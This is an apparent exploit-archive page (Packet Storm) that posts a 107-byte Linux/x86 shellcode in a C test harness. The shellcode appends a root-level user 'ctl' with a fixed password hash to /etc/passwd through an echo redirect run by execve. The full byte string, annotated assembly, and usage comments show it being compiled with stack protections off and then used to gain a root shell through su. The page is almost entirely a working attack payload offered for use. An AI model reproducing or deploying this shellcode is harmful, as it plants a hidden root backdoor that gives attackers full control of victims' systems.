exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Linux/x86 Add Root User Shellcode

Linux/x86 Add Root User Shellcode
Posted Apr 24, 2020
Authored by Bobby Cooke

107 bytes small Linux/x86 shellcode that adds the user 'ctl' with the password 'ctl' to the /etc/passwd file with the UID and GID of 0 (root). This shellcode uses legacy passwd functionality. Therefore the /etc/shadow file does not need to be accessed or modified.

tags | x86, root, shellcode
systems | linux
SHA-256 | e9483cceb2d45bc3e4c29c88655dc4a6e6bcedc432d98e81e5ab936189311836

Linux/x86 Add Root User Shellcode

Change Mirror Download
// Shellcode Title:  Linux/x86 - Add Root User (107 bytes)
// Shellcode Author: Bobby Cooke
// Date: 2020-04-24
// Tested On: Ubuntu 3.13.0-32-generic #57~precise1-Ubuntu i386
// Description: This shellcode adds the user 'ctl' with the password 'ctl' to the /etc/passwd file; with the UID & GID of 0 (root). This shellcode uses legacy passwd functionality. Therefor the /etc/shadow file does not need to be accessed or modified.
// Usage:
// root# gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
// root# cat /etc/passwd | grep 0:0
// root:x:0:0:root:/root:/bin/bash
// root# ./shellcode
// Shellcode Length: 107
// root# cat /etc/passwd | grep 0:0
// root:x:0:0:root:/root:/bin/bash
// ctl:NNwZ8D1QjVy3Y:0:0::/:/bin//sh
// root# exit
// exit
// user$ su ctl
// Password:
// # id
// uid=0(root) gid=0(root) groups=0(root)

#include<stdio.h>
#include<string.h>

unsigned char shellcode[] = \
"\xeb\x27" // jmp short jmp2call ; JMP CALL POP
// string2stack:
"\x5e" // pop esi; ESI = &String= "/bin/sh#-c#/bin/echo.."
"\x31\xc0" // xor eax, eax
"\x50" // push eax ; null terminate "/bin//sh"
"\x8d\x14\x24" // lea edx, [esp] ; fill edx with pointer to null dword
"\xff\x76\x2a" // push dword [esi +42] ; push "//sh" onto the stack.
"\xff\x76\x26" // push dword [esi +38] ; push "/bin" onto the stack.
"\x8d\x0c\x24" // lea ecx, [esp] ; save for later for ebx
"\x88\x46\x02" // mov byte [esi +2], al ; Null byte to terminate string "-c"
"\x88\x46\x3d" // mov byte [esi +61], al ; Null terminate "/bin/echo ctl:NNwZ8D1QjVy3Y:0:0::/:/bin/sh >> /etc/passwd#"
"\x50" // push eax ; push to stack argv[] Null dword array terminator.
"\x8d\x5e\x03" // lea ebx, [esi +3] ; move pointer to string "/bin/echo..." into ebx register
"\x53" // push ebx ; argv[] 3rd arg. Mem location to "/bin/echo.." string
"\x8d\x1e" // lea ebx, [esi] ; move pointer to string "-c" into ebx register
"\x53" // push ebx ; argv[] 2nd arg. Memory location of "-c" anfter first string,
"\x89\xcb" // mov ebx, ecx ; memory address of "/bin//sh" on the stack
"\x53" // push ebx ; argv[] array start. Memory pointer to string "/bin/sh"
"\x89\xe1" // mov ecx, esp ; point ecx to top of stack
"\xb0\x0b" // mov al, 0xb ; 11 - syscall for execve
"\xcd\x80" // int 0x80 ; executes execve systemcall
// jmp2call:
"\xe8\xd4\xff\xff\xff" // call string2stack ; [ESP] = String
// string:
// "-c#/bin/echo ctl:NNwZ8D1QjVy3Y:0:0::/:/bin//sh >> /etc/passwd"
"\x2d\x63\x23\x2f\x62\x69\x6e\x2f\x65\x63\x68\x6f\x20" // "-c#/bin/echo "
"\x63\x74\x6c\x3a\x4e\x4e\x77\x5a\x38\x44\x31\x51\x6a" // "ctl:NNwZ8D1Qj"
"\x56\x79\x33\x59\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f" // "Vy3Y:0:0::/:/"
"\x62\x69\x6e\x2f\x2f\x73\x68\x20\x3e\x3e\x20\x2f\x65" // "bin//sh >> /e"
"\x74\x63\x2f\x70\x61\x73\x73\x77\x64"; // "tc/passwd"

int main()
{
printf("Shellcode Length: %d\n", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close